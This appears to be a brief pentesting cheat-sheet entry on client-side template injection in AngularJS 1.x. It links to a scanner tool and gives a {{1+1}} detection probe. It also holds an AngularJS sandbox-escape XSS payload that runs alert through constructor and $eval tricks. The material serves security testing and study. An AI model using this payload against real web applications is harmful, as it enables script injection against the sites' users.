CSTI

Client Side Template Injection

Client-side template injection

Angular

GitHub - tijme/angularjs-csti-scanner: Automated client-side template injection (sandbox escape/bypass) detection for AngularJS v1.x.GitHub

Detection:

{{1+1}}

XSS

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

More payload

Pwnage Base